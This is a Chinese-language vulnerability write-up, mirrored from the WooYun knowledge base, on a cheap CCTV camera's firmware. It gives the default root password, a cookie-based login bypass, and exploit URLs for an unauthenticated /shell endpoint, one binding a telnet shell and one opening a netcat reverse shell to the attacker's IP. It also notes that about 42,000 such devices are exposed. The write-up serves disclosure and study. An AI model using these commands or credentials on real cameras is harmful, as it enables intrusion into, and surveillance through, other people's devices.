作者:
mickey
·
2016/02/18 11:02
0x00 漏洞分析
今天看老外分析了一款廉價CCTV攝像頭的文章,地址在https://www.pentestpartners.com/blog/pwning-cctv-cameras/,攝像頭的amazon購買地址是http://www.amazon.co.uk/dp/B0162AQCO4,老外曝光的漏洞主要有四個,分別是預設密碼,web登陸認證繞過,內建的webshell,以及傳送攝像圖片到硬編碼的郵箱地址,老外的文章經過我的測試,有錯誤和不全的地方,我都一一補充在下面了 :)
1. 預設密碼
WEB預設登陸名是admin,密碼是空。
另外經過破解passwd,發現root的預設密碼是"juantech",可以透過telnet登入直接獲取cmdshell,如圖1:
2. WEB認證繞過
當你第一次訪問的時候,index.html會要求你輸入使用者名稱和密碼,輸入正確,則跳轉到view2.html。如果你直接訪問view2.html,會被重定向到index.html,要求你輸入帳戶資訊。下載韌體用binwalk解壓,如圖2:
檢視view2.js,發現以下內容:
#!js
$(document).ready(function(){
dvr_camcnt = Cookies.get(“dvr_camcnt");
dvr_usr = Cookies.get("dvr_usr");
dvr_pwd = Cookies.get("dvr_pwd");
if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
{
location.href = "/index.html";
}
可以看到,如果dvr_camcnt,dvr_usr,dvr_pwd
這3個值為空,就會跳轉到index.html,所以我們只要將dvr_camcnt,dvr_usr,dvr_pwd
設定不為空就可以了,透過檢視view2.js原始碼可以知道,dvr_camcnt
其實是控制頻道(chanel)的,如下:
#!js
function goto_open_all()
80 {
81 if(dvr_viewer && dvr_viewer.ConnectRTMP)
82 {
83 dvr_viewer.SetPlayerNum(dvr_camcnt);
84 // switch(dvr_camcnt)
85 // {
86 // case "4":
87 // dvr_viewer.flSetViewDiv(4);
88 // break;
89 // case "8":
90 // dvr_viewer.flSetViewDiv(9);
91 // break;
92 // case "16":
93 // dvr_viewer.flSetViewDiv(16);
94 // break;
95 // case "24":
96 // dvr_viewer.flSetViewDiv(25);
97 // break;
98 // }
99 open_all(dvr_camcnt);
100 }
101 else
102 {
103 dvr_viewer = $("#viewer")[0];
104 setTimeout(goto_open_all, 1000);
105 }
106 }
原文說dvr_camcnt只能設定2,4,8,24這幾個值。實際測試,輸入其他值都可以的。繞過登陸認證的證明如圖3
3.內建的webshell
透過檢視解壓後的韌體目錄,我們發現dvr_app包含了web服務,使用strings檢視dvr_app
二進位制,可以看到
/moo,/whoami,/shell,/snapshot
等字元,嘗試訪問,發現沒有任何驗證就可以訪問這些功能,如圖4,
訪問/shell
的時候,卡住了,把dvr_app
拖入ida,檢視shell功能相應的處理邏輯,因為是韌體是ARM小端的架構,可以直接在IDA裡F5看虛擬碼。如圖5
這裡利用有2個方式,一個是直接telnetd繫結/bin/sh到任意埠,然後telnet連線過去,不需要認證就可以telnet登入,這個利用方式在你不知道韌體本身TELNET的賬戶資訊的時候,是個很常見的利用方法。命令如下:
http://目標ip/shell?/usr/sbin/telnetd -l/bin/sh -p 25
但是實際測試還要考慮防火牆/NAT的問題,好多裝置僅僅對映80出來,你開通的其他埠,雖然裝置開啟了,但是你連線不上去。如圖6.
這時候你可以用nc反彈shell出來,估計是因為韌體版本不一樣,我測試的目標busybox裡是自帶nc的,所以透過執行
http://目標ip/shell?/bin/busybox nc 我的IP 53 -e /bin/sh
就可以獲取到反彈的cmdshell了,如圖7
文章說他的韌體的busybox沒有帶nc,所以他靜態編譯了一個busybox,然後透過wget下載到一個可寫的目錄,然後賦予busybox可執行許可權,最後執行nc命令。他已經提供了編譯好的busybox,可以透過http://212.111.43.161/busybox
來下載。
4.傳送攝像圖片到硬編碼的郵箱地址
透過strings檢視dvr_app二進位制,還發現了另一處可疑的字串
.rodata:002260E0 0000005A C [email protected]&subject=Who are you?&content=%s&snapshot=yes&vin=0&size=320x180
[email protected]",找到了https://github.com/simonjiuan/ipc/blob/master/src/cgi_misc.c,透過原始碼可以看到
#!c
#define DEFAULT_USER_EMAIL "[email protected]"
#define DEFAULT_USER_PASSWORD "dvrhtml"
#define DEFAULT_SMTP_SERVER "mail.esee100.com"
#define DEAFULT_TARGE_EMAIL "[email protected]"
@hdmoore在twitter也提到這個中國郵箱,所以我略微的看了看。目前mail.esee100.com已經不解析了,但是esee100.com的CNMAE解析到了www.dvrskype.com。透過查詢www.dvrskype.com的域名資訊,[email protected],如圖8,注意這裡ORG是"廣州市九安光電技術有限公司",而github的上傳者也是九安光電技術的技術人員。透過圖9可以看到,他會把/whoami的返回資訊和CCTV攝像頭啟動時的拍攝[email protected],當然現在這個SMTP傳送伺服器已經不存在了,也有可能是當時開發留下的測試的功能。
0x01 全球統計
因為是執行的自定義的web伺服器,HTTP伺服器頭包含明顯的“JAWS/1.0”特徵,最近sans比較關注國內的漏洞掃描(https://isc.sans.edu/forums/diary/Scanning+for+Fortinet+ssh+backdoor/20635/),所以我就直接用shodan的結果了。如圖10
可以看到這款廉價的CCTV攝像頭對公網開放的全球大概有42545臺,最常用的埠是80/8080,用的最多的國家是土耳其,印度,越南。 :)
目前應該也有對這個CCTV攝像頭的自動化惡意利用了,透過檢視幾個,發現幾臺裝置的程式裡都包含
1560 root 620 S ./dropbear -p 15081 -r /tmp/dropbear/dropbear_rsa_ho
以及wget遠端下載惡意利用檔案。
0x02 漏洞防護
目前官方還沒有補丁韌體,建議不要對外開放80/23等管理埠。
0x03 感謝的人
感謝低調的張老師教我逆向知識,張老師的好和善是對我問的幼稚問題都耐心的回答,從來沒煩過。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!